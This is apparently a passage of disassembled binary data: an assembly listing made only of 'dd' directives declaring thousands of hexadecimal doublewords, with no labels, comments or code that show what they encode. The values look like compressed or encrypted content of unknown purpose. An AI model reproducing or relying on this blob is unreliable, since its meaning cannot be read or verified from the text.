dd 0D47C43EFh, 0BC196E77h, 5BAA1C78h, 93B9FD2Fh, 0F3ED2CAFh
dd 780A43h, 4DB66B9Eh, 0B942BB5Fh, 508EF82Dh, 0CC4313CAh
dd 0BD530131h, 346BDD6Eh, 67BC617Fh, 84AD5D12h, 0D2CCA693h
dd 0FCD62EBDh, 0AFB3B0DDh, 95FD9DFFh, 10DD2CF3h, 292F20h
dd 3014C22Ch, 0F76A137Ah, 9E0209D2h, 55662175h, 2AFAD568h
dd 70C8968h, 25084D68h, 0CB48B724h, 5901A502h, 9725570h
dd 91C11DAh, 184DD514h, 0F7D2FCA6h, 0A8E9616h, 7BD58839h
dd 3C52593Bh, 5AF518E6h, 4BADE973h, 0AF1AD0BFh, 43127B1Bh
dd 810CE01h, 250E4C08h, 0BCBCD96Ch, 47D13A92h, 8505EE21h
dd 7C05FA4Ah, 51698758h, 3D8D903Dh, 59C06F59h, 5C39F180h
dd 2D76D408h, 54C128F7h, 7D8D5A8h, 0C704F803h, 464B125Dh
dd 44B05000h, 0DBF67BB3h, 0D5B25203h, 98D3C280h, 0EA30D6EAh
dd 88EB27E9h, 688B1D7Bh, 6ADADCA8h, 91D0258h, 0D612BEBh
dd 2F4D78E2h, 5B805E5Ah, 523B1EB3h, 86892541h, 972B5BD5h
dd 8A8C6E82h, 65D35C5Fh, 0C040BCEDh, 0AE6366C3h, 25F3EC3Ah
dd 5C725F97h, 2338570Bh, 0BE90D7BEh, 0E46926E9h, 3C778465h
dd 2E845E0Fh, 0A9EDAA84h, 0F1FE0D9Ah, 13503B08h, 0D2D8775Dh
dd 525B6E8Ah, 57EC0627h, 933B0DBh, 4EC834EBh, 48C4C900h
dd 0E690203Eh, 3C3AF804h, 57C05676h, 96B141Ah, 2C54E90Dh
dd 0BAE0B3D6h, 0BDD32241h, 7005FF81h, 687FD6C5h, 9D640C63h
dd 7927DFF9h, 7CFE957h, 671EE906h, 38B707B4h, 33BAE780h
dd 0FA8120EFh, 4BC3E45Bh, 0EB0A20E1h, 0F0B55AEAh, 109CE7DCh
dd 24C83DCAh, 0AF2CAD0Bh, 4ECC1686h, 0D7F9F62Dh, 0A566C18Fh
dd 3951637h, 7C0D1DC0h, 894769D4h, 5084EE0h, 5B42EC12h
dd 0E9C4B4EFh, 0C5ADD425h, 5FA60839h, 0F998F02Dh, 0AD1D9711h
dd 0E69E5F16h, 5BFF5C4Dh, 0AED234B3h, 8E6CC046h, 0C46DEA48h
dd 0EFC4FE55h, 0AA809A83h, 32C3F543h, 8146849Ch, 57CB978h
dd 0FD7B02FAh, 7610227h, 21528BCh, 7B4D24BEh, 7DC15537h
dd 6B2B6515h, 0E96A4BB1h, 91E4D2F5h, 0EA024AC2h, 0AF0BAF9Ah
dd 2A48E9C8h, 0E0EBEAC1h, 5FDF3D50h, 215C6A6h, 79EF02FDh
dd 4029096Fh, 1F055152h, 18C1123Bh, 47931E04h, 21DB4A12h
dd 1CB00B0h, 29176F30h, 7E35ACE9h, 0A750D4CEh, 0B81C40D9h
dd 0FE62560Bh, 0C45606h, 6EB2B951h, 810232C1h, 824AC5F1h
dd 42AD8979h, 1071FF87h, 1FF15DDAh, 26A6288h, 3D4661BAh
dd 82C0E192h, 7044F0Ah, 99CCE918h, 5BF52FAh, 0CAC60950h
dd 0EF884E21h, 81CBC074h, 0CA451FF2h, 0D7294217h, 0ACBE7E03h
dd 0FC829571h, 0ED6070C2h, 0ED3B8F65h, 336526D5h, 58946884h
dd 4F3001E9h, 0B8578B15h, 31995097h, 916D30Bh, 2A9561D8h
dd 0C5292220h, 255D0095h, 4F2A0779h, 34E77CE9h, 0C6A259C0h
dd 5C91FE77h, 6C5701A1h, 5F6D0F1h, 3E4A69ABh, 4003FF0Ch
dd 82F81622h, 2F03AB29h, 9A1F152Dh, 20897E2Ah, 53A1BC07h
dd 6BB16FF3h, 2D7A947Ch, 0A7552E07h, 5ADD5617h, 0E7281DEDh
dd 3280B77Eh, 7703398Fh, 6B4B5DFAh, 6549B0F2h, 624D2D7Bh
dd 0C22BB119h, 68AF30D7h, 34545E9Dh, 0FDA2FF78h, 0B7E96197h
dd 8FCC3B3Fh, 50BD405Bh, 64B2B800h, 0F92562D4h, 0ACA74B01h
dd 20B40512h, 0A0017318h, 764C7E30h, 0D0820502h, 0F6559D24h
dd 0C906B70Dh, 0C91C5C80h, 339CE20Eh, 8A44351Eh, 0DC82C0A0h
dd 5F48C4AEh, 0EE08B44Eh, 0BD333C04h, 72825868h, 6246F645h
dd 0C42B1C42h, 2F95903Bh, 72A15CA2h, 60624EC1h, 7240A9B1h
dd 6FD20FB8h, 0D65E4A8Ch, 0A680A46Eh, 7A31CF41h, 0A2247941h
dd 0E2AD3B31h, 0E99381FFh, 26872260h, 3AFD3166h, 0A20267A4h
dd 78DDEDD1h, 0BD564F46h, 0A3F54F79h, 0B62F0030h, 43EA89F7h
dd 0C880EE51h, 0F72C863Ch, 69E3B5D0h, 75EFB4E5h, 0A8891E41h
dd 46D12912h, 0D620163Fh, 8B8454A2h, 1D73BF2Eh, 2585E451h
dd 68EB88EEh, 5ADEC3A2h, 0FA15AE61h, 0AD19F03Eh, 0DF290DC1h
dd 6B7CBFE9h, 0EF1E5248h, 38EAC29Fh, 0ED88CF01h, 62F32708h
dd 5940B92Eh, 5A76856h, 0E93E1B34h, 0BDCFA05Ah, 2D50C31Eh
dd 0D40A92E4h, 4BDAF42h, 0E23077B4h, 0F20181FFh, 6E6C60BDh
dd 61872F97h, 0BE69EA13h, 4B8F17C0h, 2C37ED3Eh, 0BB80558Eh
dd 76425FEEh, 0C87109B8h, 9FF9352h, 3582F539h, 0EC83B95h
dd 55B45FFDh, 0F0FB7F5Ah, 20D9E4A5h, 7EFB19E5h, 56BC4471h
dd 0F28DF710h, 17D88724h, 12EBF634h, 0C536ED20h, 0D299DD29h
dd 0E9C2E02Ch, 54076861h, 0DFAC6664h, 1255BE02h, 28621C44h
dd 0D327F877h, 33D7BF0Ch, 381D1AC0h, 92E92620h, 0E5088299h
dd 0D655048Bh, 6C3FD1A2h, 0F55724AFh, 49224C0Eh, 85F0767Eh
dd 41B2FEE9h, 0A05C83B0h, 4685E80Ah, 0C2BDAC9Ah, 0AB368233h
dd 3566552Bh, 0F005FCBFh, 0F388E2A9h, 0AF2E173Dh, 0E09BA113h
dd 8A4E4E7Ch, 0E682C5B0h, 0A8604E25h, 5C5550CAh, 0E3B5E0F0h
dd 954EF688h, 85C4272h, 0B54C24A8h, 477B7AC0h, 0E6E91333h
dd 41B78DD9h, 329D9A1Fh, 52421F04h, 0AF2C5BFEh, 0F24A27E9h
dd 1444B359h, 1618D544h, 227787FEh, 765FE830h, 6B8FC3E6h
dd 5C052625h, 7E5B9CD1h
dd 181A6070h, 4E6D6855h, 5D779616h, 8104DC18h, 17696BF5h
dd 11838477h, 0B93EE2A1h, 0C7D5CAD0h, 79994830h, 5D392ED6h
dd 453F0046h, 0D9F75908h, 0AD2E912h, 4C526E4h, 0C15F1D28h
dd 0B23FC2E3h, 0B7FC4E58h, 4EB52F06h, 98A6FD30h, 0D8719D58h
dd 0E0CACBCFh, 0A15166FEh, 0ED144D88h, 0C8FBF58Dh, 7A4FE95Eh
dd 555FA8C2h, 30280BDBh, 0C15B0224h, 7647688Eh, 98F4A8Ch
dd 217E562Eh, 3FAF4A72h, 86C8F5A9h, 894F9E0Eh, 1E7285E4h
dd 0EA73810Bh, 5B0804B6h, 0BA3E48F0h, 8ED1BD84h, 0DB2DC3EDh
dd 6F7BA1E4h, 0ADD0E7B3h, 0B4C82E8Bh, 0F9954F9Dh, 897BFE0h
dd 87F22141h, 0B0660EAh, 0F8F9C082h, 91FD2C7h, 57D25D37h
dd 7AE1F506h, 1C38031Ah, 2D34BDE9h, 0C56B125Fh, 52689C77h
dd 82AD3714h, 0C3B20982h, 4B4E725Fh, 5BAF0970h, 0A03AB973h
dd 9F681234h, 5DD3600Ah, 653FDD1Fh, 11C91750h, 5788F3A9h
dd 0C3315F07h, 5A2C4383h, 73FBACAFh, 0A70CFEB0h, 0F878336Bh
dd 71714150h, 0F5A22B09h, 4B74B2C1h, 0F189457Eh, 0AD073133h
dd 0F017D422h, 125BA868h, 5456AF30h, 527C1EF7h, 0B4FA57E9h
dd 0E2BDDE40h, 9A3E771Bh, 71A6810h, 1D3CE909h, 0AB9706D2h
dd 80E945EEh, 7F7809DBh, 0C09DF301h, 116CF08h, 0FB3185E8h
dd 80DE215Fh, 3526EEF8h, 5BE96958h, 0DD2049FDh, 98051509h
dd 7A8CC205h, 5525B874h, 35FF661Eh, 8BA22D50h, 61505459h
dd 7AFE875Fh, 0F6818A01h, 3BC83D4Fh, 0C688C14Eh, 44F73613h
dd 0E7F25DAh, 0EB162BECh, 65EC5ECDh, 92E596CAh, 0E294675Dh
dd 5881C2A8h, 7B7C9BB1h, 0B968A0A0h, 886F4A8Dh, 800B13A3h
dd 0B36E84C1h, 50552093h, 9EDBCBBh, 0FB79C81Ch, 4EC0FE01h
dd 0EF01F45Eh, 5D080082h, 0B74CEBE9h, 7F44AD69h, 6C202BF3h
dd 4B39F0BFh, 0E152EC8Bh, 5A2D5954h, 0AE5BD984h, 7583CE7h
dd 0AE15A984h, 40470E41h, 77204A03h, 15487144h, 0B1DEF70Ch
dd 0EC5C2C04h, 0D8BF823Dh, 7E624707h, 0B914FDF8h, 1134A419h
dd 0D290C57Eh, 0A0F14E7Ah, 35060680h, 8EC7A4B7h, 0E9E48195h
dd 0FF32531Ah, 0EB800207h, 48C3333Dh, 702E0620h, 1F1B879h
dd 4F0C31B0h, 0F518B252h, 290B30EAh, 0BD820860h, 60EC3ECFh
dd 16858C7Dh, 0E5EC68B4h, 281F7939h, 0D17EDC33h, 0DF095598h
dd 577763FBh, 0B7344B09h, 1E835248h, 220447D3h, 17C7FA89h
dd 8D74C3Eh, 0AA7F25E9h, 339A2FE8h, 2EF645ECh, 214F114Fh
dd 6815A405h, 518EB700h, 0DF45FB1h, 0A02D1D48h, 0FC59EB28h
dd 1CE36451h, 5E59BDBEh, 66450097h, 0C34528AFh, 9BF93D09h
dd 0FD18863Ah, 0C6801C6Fh, 0B0F6CF12h, 0D42C5C64h, 0B2B4AA78h
dd 0CD2E5AD0h, 10273A93h, 7A5514E2h, 58FA3AE9h, 9AF073Dh
dd 0D35CFC01h, 3B4175E0h, 88D315B6h, 564AE9C6h, 72B86A09h
dd 4D5EB74Ch, 0FB18CB12h, 3B2FC6C8h, 0FACA7CD6h, 95A15D8h
dd 10DA9CEh, 0B041744Ah, 0DADB2531h, 6DA86040h, 0B8046E00h
dd 47540C6Fh, 0E9F00B01h, 6DA9E6B6h, 12668CFFh, 0DF318053h
dd 0E7049590h, 2F98699Dh, 5C0981BCh, 7A59679Fh, 0A766CB01h
dd 0B86A0542h, 0C3E90C31h, 2DE65740h, 956C8468h, 9F55E701h
dd 4FD7F74Dh, 17C906ACh, 9FEBA328h, 942E9C89h, 0DDE89798h
dd 824ACBh, 5F291FB0h, 0B399003h, 6CDC23F4h, 273CB15Ch
dd 5AA35868h, 0EB3CBE33h, 5AB41750h, 0B306E088h, 8064305Ch
dd 4E5D102Ch, 80E85B29h, 6C5FBD22h, 11B5385Bh, 67A90804h
dd 0BC2A3B12h, 2644C6DEh, 0D3EA07C5h, 60616B73h, 0DE1DBFE2h
dd 6C2B4C0h, 1A39AC19h, 2EF03FE9h, 5E9C4F70h, 2F7B1C02h
dd 10644078h, 0EF9DC908h, 6093C8FFh, 2E5E9D44h, 11176840h
dd 0E1104B65h, 0AF15DD03h, 2CF0640Eh, 9235D8E9h, 293DEE5Ch
dd 5194713Ah, 59094168h, 0CFCFED57h, 42FEA501h, 5580C95h
dd 595F0640h, 3B4D9D01h, 0B6DDE98Ah, 172058BFh, 0BB31CEAAh
dd 686E505Ch, 0D5985813h, 6C094FE2h, 2C5834Ah, 0F308ED9Dh
dd 0BF41D71h, 0BAC0759Ah, 0F2B931D5h, 0C6E85E0Bh, 0F77CB7FBh
dd 0D26A4163h, 0F0304376h, 0F0690C66h, 4DF806E1h, 0E412AEAh
dd 7A504925h, 2AF89DE1h, 0E8324002h, 60F93186h, 9552C76Ah
dd 552498F7h, 732AC053h, 0BB273641h, 8B79E903h, 2FFB293Fh
dd 0B8F08334h, 570F32BFh, 425B1B7Ah, 60EAA5h, 0A1251805h
dd 3AFB0C5Fh, 8E68C626h, 94C5962Fh, 0DF89EB0Bh, 7B529481h
dd 0F3FC4150h, 2C0DA456h, 9092E904h, 0B1C7BCABh, 35F86852h
dd 0E9771BE2h, 58034ABh, 653D3036h, 72C51328h, 5EF2B122h
dd 6EC2802Fh, 684EB0E6h, 0C8AF1F4Bh, 5A5C5D65h, 14C97594h
dd 7F2A66BFh, 0A331FDC3h, 697E12Bh, 58B25C08h, 48C70520h
dd 0B812A6B0h, 6FDEC95Ah, 515C3A9h, 0D29E68B4h, 587BB00Fh
dd 6BFD6815h, 6134504Ah, 12F44E01h, 6E9C2FBAh, 1E1F5EF6h
dd 562092E9h, 30311748h, 9C305C3h, 0FC467426h, 144DC2Fh
dd 7EB06C7Ch, 0C465C4BFh, 95E93809h, 0DC939A0Fh, 0E84C254h
dd 7B55101h, 3E00BC2Eh, 0AD7BA7BFh, 0E92E887Ah, 72C3046Ch
dd 2CD04647h, 1F542B6Ch, 0F908EAC1h, 0FDD9A80h, 5AD02191h
dd 0ED7C0505h, 50C34115h, 0E9BF0958h, 0AFD3C6BDh, 4F8FD0A5h
dd 0B908804Ah, 863D54C6h, 670C1346h, 998062BFh, 0C8AAA351h
dd 58FA7697h, 0B190555Eh, 8D57010Eh, 1621D973h, 945CF8E0h
dd 4E072019h, 81D0AA59h, 5C9F2DCBh, 66005D3Dh, 0E9130729h
dd 3EB9E49Bh, 0E0036B3Ah, 5AB33984h, 1C31BF6Ch, 463A7699h
dd 0B526B290h, 0AD5EE37Dh, 1B4291F1h, 0AB345D1Ch, 0F8F2E925h
dd 20CB992Ah, 0B42C1DFAh, 2EE3807Eh, 0E937020Ah, 4837EF4Dh
dd 48F246B4h, 0C2E00BAh, 0D7013A6Ah, 552CC853h, 0A00DCB26h
dd 72442918h, 0AF4FF1AFh, 0A53CDC0Fh, 4B138345h, 0D1FF1E00h
dd 622668EBh, 6248F36Fh, 0DAB7FBC4h, 0A1524E3Eh, 0D18A2B08h
dd 0CE812DCh, 0E6F55AD0h, 2D4C0358h, 0B638B96h, 32EF0F93h
dd 0B5FF3BBh, 0D73AAE68h, 0ACD182B3h, 5D303B5Ch, 4C201FF9h
dd 0D5248F6Eh, 0EF7A162Bh, 0E1063792h, 33923730h, 3F61AAE5h
dd 0AA042870h, 809248BDh, 0C61E91E4h, 0EF0A5Eh, 29AF563h
dd 0A72C6849h, 166A7274h, 7273AE00h, 0C2FB807h, 29EC7C28h
dd 96592BF6h, 0C04B9E4Fh, 812DDEABh, 36203F46h, 0EEC2DB29h
dd 7EE90881h, 34893FA5h, 0D77813Eh, 6F49F511h, 5B83F314h
dd 55D4BAB9h, 0B449AA01h, 21CD012Ah, 5908023Eh, 294F214Ch
dd 0E94142BFh, 37AF6CE8h, 0D3D8640Bh, 808EB200h, 0B0504AE2h
dd 0F6509F95h, 8697F6ECh, 5E2E0411h, 5A0DB84Eh, 41532768h
dd 6C0B3AB9h, 0D1C257C3h, 9820C6DAh, 274A7689h, 0DD9C6EBEh
dd 0F44926FCh, 854351CFh, 0E4F78055h, 0A09642A0h, 3DD6D244h
dd 0DB90B9A4h, 0B6BA0156h, 313D9110h, 0D2E9AC3Ah, 0F8CC77A1h
dd 1032002Dh, 565F69D0h, 0D4993E9h, 404E9E65h, 0A6EA1251h
dd 0DEF4C53Bh, 5AA2A4ACh, 0C9E9D5B0h, 162B585Dh, 0BC2D5456h
dd 17BC2E84h, 0E141C09Eh, 75901231h, 282C37A0h, 770C5B27h
dd 0B27C6FE2h, 9979E20h, 6D1558Ch, 0EFF049h, 54D67744h
dd 3CE36853h, 0A79218BDh, 595A8649h, 0C9DFBEACh, 0DAF2F761h
dd 0AF5144F4h, 7568349Ah, 0CAAE414Bh, 0D8307DB7h, 0F75F0A29h
dd 0B7CC9DDFh, 8103FF60h, 918F6EFh, 15E9669Ah, 0BF4A3ACh
dd 58963210h, 0FDFFF90Eh, 0F0DCE942h, 71AC455h, 0E68F51EEh
dd 0B129D4C5h, 0A9E26F50h
dd 39F76882h, 6CB72666h, 50BC2F26h, 587C0F6Eh, 139AC45Dh
dd 8CD8F131h, 0BB28440Ah, 870EF004h, 17F42129h, 8E501861h
dd 2CB8C427h, 0E9352E05h, 0A1203ED3h, 17195414h, 0C0EF0145h
dd 92F0CE3h, 0F84EC479h, 0B35F00A6h, 0E5EC5EE7h, 0B03F2F55h
dd 5C79B72Ah, 0FE351A02h, 5DBE0F02h, 0DBF7D040h, 0BC315197h
dd 4F38D32Ch, 60979961h, 0BCD77402h, 8FA48741h, 0AF7812CEh
dd 5125D2F3h, 465AD25Eh, 5FF92727h, 0D7A9FD64h, 30D53434h
dd 28611CB8h, 2EEB8096h, 865139F9h, 0D9FBF488h, 0B3FBFBE4h
dd 32F6F1FDh, 14FC1874h, 0A454DB59h, 9D18C81Dh, 6FF18107h
dd 9C7B9844h, 0B13F8418h, 0FE0AB654h, 19DDB800h, 0BE294400h
dd 2A94337Eh, 0E9C61631h, 0AD93400Dh, 0C4501805h, 0D801290Fh
dd 7BD79F57h, 0F00423C0h, 2CD03A28h, 0D8BF5A39h, 9D4A2313h
dd 6A74972Ch, 0ED3B0AB1h, 1805D29Fh, 8DAAE5D8h, 0A354E442h
dd 8A8C10DFh, 7CD10A0Ch, 0CEFB5DEEh, 0C218675Eh, 0F86AA846h
dd 49F62375h, 0F2EB851Ah, 5FFA85F7h, 386889B0h, 0BF4A4F5Ch
dd 0C555FD8Eh, 20016D7Ah, 66BF29DBh, 0EA1263Eh, 57E68EB9h
dd 30AEC661h, 14A6F4F5h, 95E81ADDh, 0ADC4314Ah, 9242FABh
dd 6B4B2EE9h, 1CD2A8A2h, 0C2311CD1h, 3A00E558h, 2B976CA0h
dd 0FC9DE926h, 6929BA87h, 0FCBA19E4h, 0B5811A15h, 64708EA1h
dd 0A9EF0FC3h, 86E9C2C3h, 0FC797FACh, 68515581h, 7ACC0E99h
dd 0EBE91659h, 6F2B9D85h, 6913CD4Dh, 9FD99551h, 0FC97BF01h
dd 3CF41201h, 75600997h, 0DC55A312h, 0B895851h, 0BF2D5E80h
dd 9099D2h, 86635BFAh, 0C1C2EACDh, 8C6B6728h, 50793A3Ch
dd 0CD1E8190h, 25040C04h, 8282EDD1h, 4039DE55h, 0B252D4F6h
dd 0CAFE6A1Ch, 0E7444CB7h, 93208437h, 1AF0BAB8h, 3EB02398h
dd 2519DC95h, 6680135Eh, 0E94EAA5Ah, 6889A892h, 0E17B54A3h
dd 3A809551h, 0E681FE87h, 703EA209h, 0DAD08312h, 266A9621h
dd 9D464BDFh, 3599C9D9h, 0C30132A2h, 7C5D494Ah, 91815CBAh
dd 0B25303AEh, 95A858A3h, 74DA2957h, 1CF7E95Dh, 0A8875B5Dh
dd 1C9AD3D0h, 0AB5A0C4Dh, 92A6322Ch, 85B27E3h, 6CA04DFh
dd 0D70B2782h, 30269218h, 42645B0h, 5C12B9A0h, 0D731B662h
dd 28582A23h, 0D420282Dh, 4DA94234h, 7F895E02h, 8EC073ECh
dd 0D70D36EBh, 0FB012E17h, 0BD0822F3h, 734A1858h, 0B468E7C0h
dd 3F16B77Dh, 7BE5648h, 6F447A8Fh, 4B689CEh, 9BC1296Eh
dd 0A0052F23h, 53B755ACh, 830B6B4Ch, 5A30E6DBh, 4C437CAh
dd 5F6C2D73h, 180FE9Ch, 5A27D85Ah, 0EC5D124Ah, 0C8E5F08h
dd 1CB5A150h, 0AEB7539Fh, 65718FAh, 0D778F6B4h, 2FB1C758h
dd 0DD836271h, 57957816h, 203A8E15h, 0A92D4B0Dh, 755E27D1h
dd 0B12436E4h, 209FF609h, 4533524Fh, 0AFE89E3Fh, 1CE165DBh
dd 0AECC6B40h, 0EC355EBDh, 0DE13827Eh, 1A89FD48h, 8C17A0DDh
dd 0BD721ECCh, 0DCC19DBh, 0E25C955Ch, 0AB4EDDCBh, 0EC5A6998h
dd 0F1E6251Dh, 0BDF9755Ah, 1714963h, 169F6CE5h, 2FFD319Ch
dd 925D4A98h, 427C97BEh, 6D243851h, 7725BD5Ah, 0CBF60005h
dd 14735C5h, 0DD4FE9F8h, 18BBBB00h, 0BFE62ADAh, 2BF63C69h
dd 69B87700h, 392DF831h, 0D258D0F7h, 3F89BF3Bh, 78D41358h
dd 0BE1003Fh, 0A0E98F66h, 817C9919h, 31AFF581h, 0C2C370E4h
dd 5E1D6BBDh, 2029A50Ch, 449FC985h, 1BDC3h, 0F913ED03h
dd 202A3582h, 0E9A0087Ch, 50804C86h, 30021EB4h, 947596E1h
dd 795A818h, 7B8E6B2Dh, 90B4ED3h, 48CA682Fh, 5AD5B1DFh
dd 0AE5DD57Ah, 2DEA1B85h, 927292D2h, 52FF86D5h, 0FA57123Ah
dd 0AB12448Bh, 6D74BA25h, 110FC904h, 4933A6AAh, 0FBBB80B7h
dd 9060DE44h, 51A94067h, 603F74BDh, 643267E2h, 985AECB7h
dd 12AD0214h, 0D1F71378h, 2F37B41h, 325D6130h, 5E726034h
dd 4B05CB64h, 3151C761h, 5A78D923h, 0E424AB9Ah, 608329EFh
dd 0F9B59687h, 26FA2790h, 0D8769C0Ch, 12FE0C59h, 0AED1D4F4h
dd 6F3B1C4Dh, 1403EAF8h, 0AF73342Eh, 0D4586A06h, 200F1835h
dd 8066F538h, 31105ECAh, 8DE91822h, 0ACBF3A21h, 39D90718h
dd 5F10E5CAh, 0E6D4C06Ah, 3B0DE03Fh, 2C1BB0E9h, 95828317h
dd 8E7A7707h, 3BAD6824h, 989FB9Fh, 98A87149h, 0A968A39Fh
dd 549D0570h, 3AE97095h, 21F84155h, 8445E099h, 0B31289B1h
dd 0E202D7A9h, 185E0888h, 4CF88880h, 2D0569DEh, 5A2B0BB9h
dd 178084BEh, 6888FB07h, 81555BE9h, 2C454D1Eh, 760F145Bh
dd 3D1A13A4h, 0EBB83535h, 0B75CE9A0h, 0DCA03D9Ah, 9A4C5A48h
dd 0DEBA259Ah, 0D0018AB6h, 0BC4F16FBh, 84E0A5CCh, 980192BCh
dd 0A03B9A8Bh, 9D16419Eh, 2297DDEEh, 0D15295C8h, 2135027Dh
dd 425743F7h, 5B0702D0h, 4A9AE2E9h, 0AA1AF7C7h, 0BCA27660h
dd 8D6FD19Fh, 82C92CEDh, 0A80D88BCh, 1A6835Bh, 16FBB34h
dd 0FD0906BAh, 0ACD631E8h, 3635E836h, 532445AAh, 7EA1C9BBh
dd 5B0C33C1h, 0C5BBA22Fh, 0F5E87320h, 0C64C4h, 662E69BFh
dd 6781A11Fh, 16BFF66Ah, 28F51CCBh, 25A170FEh, 99DF9868h
dd 127EBD69h, 4BE78A4Ah, 4A429936h, 1D9EB75h, 19C0E93Fh
dd 591E48D5h, 9D938B20h, 68C11A76h, 0A36A20C1h, 5DEA86A5h
dd 120C746Ch, 9431347h, 0D957A15Ch, 20B5A645h, 0C95CBDD0h
dd 247F76E9h, 0A428446Eh, 55BE4A5h, 0F0C407A3h, 0E31889Ch
dd 6B806E1Eh, 68FCF5D2h, 972CE5Ah, 55DF0AE9h, 79C236F1h
dd 12902249h, 3EB77594h, 0B8ED4E71h, 2CAF5F87h, 0F62E6868h
dd 7D72D420h, 44E68C2h, 39EABD27h, 0F36ED11Dh, 0C10292CAh
dd 501FEE9h, 446DC859h, 7655A0AAh, 0F0D7F22Ah, 49BE0015h
dd 4652847Ch, 7400EE81h, 1DA83C8h, 94BBE9F3h, 4D92538h
dd 0AF71721Dh, 7D48CCF4h, 606DF458h, 0BF6612F5h, 51750EBAh
dd 212FB913h, 0D8E1C303h, 0E90A0F55h, 41CC0373h, 0AAF0F10Eh
dd 0BCAB31F9h, 0B3F78CCAh, 3FC30AC8h, 0B24C4E97h, 16EB1064h
dd 2533005h, 0F31129ABh, 65C9E84Ah, 981BA893h, 6141BBDDh
dd 2CE37A84h, 1D81813Dh, 0EA17808Bh, 6C5B5DBBh, 0BED35C29h
dd 80909A20h, 2FB1243Fh, 49AF8EAh, 0EF465C05h, 2DBFC236h
dd 0C15A0781h, 0C18DFFE0h, 0AF3BE139h, 2511D2BAh, 0C4DDE2E9h
dd 9276B568h, 0C8E0D356h, 0B8795076h, 7D3B1300h, 0B235E0D1h
dd 86E4306Fh, 0B02B7FC0h, 54940B4Bh, 0D3E90804h, 0E80D30D3h
dd 13EB12Dh, 53545B25h, 0DCCC056Fh, 38CCEFECh, 6F93A58h
dd 16AE21Fh, 8805ACAh, 8B9577E9h, 0E730D50Dh, 2324A6B9h
dd 0E1036E01h, 765634B4h, 257809D2h, 97584130h, 0EFE94917h
dd 0BB5BB7BDh, 118B871Eh, 58ABC848h, 14C02823h, 19180C88h
dd 4E180FEDh, 0C202FD7Dh, 0DBE9F029h, 85A6762Bh, 477464Ch
dd 12136BE7h, 0B553BA0h, 73190BDh, 5E0F3C02h, 2C23268h
dd 1FBB6813h, 0CB69AF62h, 0AD9CEB4Ch, 257E10F3h, 8EF1ADBFh
dd 0C534958Bh, 51A10B1Dh, 0B5B1069Bh, 6737308Bh, 8C9C7D95h
dd 760C542Fh, 4D98747Bh, 4F280E59h, 0EFF505ACh, 8FC7D13h
dd 9474EA4Ah, 2588F7FEh, 0A716FDCBh, 999CEB5h, 572766E7h
dd 0FCFCAA77h, 4545090Bh, 0ECE2AD65h, 54C2F223h, 1E031515h
dd 0F6CB9E43h, 98145D0Bh, 0E152C57Dh, 2AA05BD0h, 350B0CEDh
dd 700C0EC0h, 287E1B12h, 13C7C4FBh, 2EF30108h, 0CE54944Ah
dd 7A60A0E0h, 601A7B2Fh, 2E6C62A3h, 0F01294Dh, 7C2873FBh
dd 9786C700h, 9AB2E974h
dd 3CBA01DEh, 31132367h, 4BC832D0h, 57272CFCh, 898B85D9h
dd 0C5CCF5C7h, 0E89184Dh, 985BDD09h, 9A372EB4h, 50D208Eh
dd 1C5C5EB0h, 0A41B2F95h, 17BBACBCh, 1279AC4Bh, 0ABA33B59h
dd 2429BA5Eh, 0B5B81881h, 5C5D760Bh, 2540FAB0h, 3A729DB8h
dd 4DE12952h, 8A1950FBh, 7B9FA7B2h, 77CE224h, 0BEB90409h
dd 55398A95h, 847408FDh, 0E852B75Ah, 51C2322h, 3744D8C2h
dd 642CFB4Ah, 677A01EAh, 0E953BA85h, 310D34D7h, 576EA39Fh
dd 0A29CE154h, 8562AD3Eh, 31AF3CA5h, 81918A3Ch, 3E23CE73h
dd 0B67E4187h, 923876ADh, 0A88C2480h, 0E208DE02h, 3272705Ch
dd 0AC585714h, 9942E1h, 3D7758B8h, 302761F8h, 50EDF348h
dd 238B117h, 8BBA08C4h, 0E4305ED0h, 25808DB1h, 375C4F1h
dd 0C846C934h, 5028D4E9h, 0E3F997CBh, 0AC8CBE05h, 40D02FF7h
dd 0D8B26543h, 0CC16C25Dh, 3E350960h, 4AE0251Fh, 771211C5h
dd 0E2ECD1FEh, 0A3DF25Ah, 9B354668h, 4860B49Eh, 0A586A55h
dd 0A443441Eh, 177009C2h, 24934DCh, 0E6770385h, 5BF5B00Eh
dd 0BADED47Ah, 509892B9h, 0FB00649Ch, 2B872553h, 4BE92DE0h
dd 39D2E1B9h, 60B9F89h, 0F358F468h, 42FF2A5Ah, 0B3A6E93Dh
dd 0A73E7CE7h, 8AC27D88h, 12921E57h, 0E60CDE68h, 0E4E90B50h
dd 0FE16D7FAh, 4FDE7920h, 7524FD05h, 0BD2EFA9Fh, 632747F1h
dd 159A17D8h, 5E94620Ah, 2A7810C2h, 0C8837B95h, 80703985h
dd 40BF16B7h, 11F328E7h, 8224148Bh, 7E4AC380h, 21C18B56h
dd 97689855h, 4471DFFCh, 81A76B74h, 0A45F2Dh, 0A811C068h
dd 81EE6497h, 883F2029h, 0F32E037Ah, 5A40803Ah, 9067B55Ch
dd 73BE092Ah, 0BDA5268Ch, 5F080BEDh, 0D50139DFh, 0E9179B32h
dd 54AA82FEh, 2EC9457h, 1EFDBE56h, 0FBC17A1Ch, 0EB0DACF9h
dd 0E8BD4E12h, 1C955B10h, 0F39FCE89h, 0EE5AF8C9h, 5391F68Dh
dd 2778E108h, 0FCA01486h, 307BB37Fh, 0F758E32Dh, 0C07E314h
dd 4DE9C6FEh, 1A8F9F9h, 76AE6627h, 933D7089h, 271DBBF5h
dd 9B1721Eh, 0A189F7BAh, 48140578h, 4A92E16Bh, 802EDE1h
dd 0E659DD5Ah, 53BF3593h, 14C7EDD4h, 4A3DCF12h, 2D4FF5A8h
dd 67A82E34h, 0A97FD2E2h, 0FE1B84A7h, 0AC5F2BB6h, 0DFAF4E43h
dd 41644FC7h, 92FAD885h, 0F0575DF0h, 63D1BD4Bh, 97645550h
dd 965B673Ah, 9523017h, 0EE1C38ECh, 1CFF2D32h, 9FB780C3h
dd 6182AFh, 72006F31h, 490C4E35h, 6D2D0705h, 0F47B6673h
dd 595FF06Fh, 89D6C5B5h, 0D8F929D7h, 0C6570D89h, 0F8B29A61h
dd 9C4E5C20h, 135268F0h, 3E7B9624h, 53B8A4E4h, 812BEF5Ah
dd 43F2E917h, 0F0319694h, 819C693h, 0AB7ED6F7h, 0EC403935h
dd 27683560h, 9F467BA4h, 3E645CB5h, 0F8310A93h, 0E195C9F0h
dd 0A06E84F1h, 89BFFD61h, 69215192h, 4B807955h, 3240EB71h
dd 12465B29h, 4DEF2BE9h, 0F251D9C5h, 314B2A45h, 52775F90h
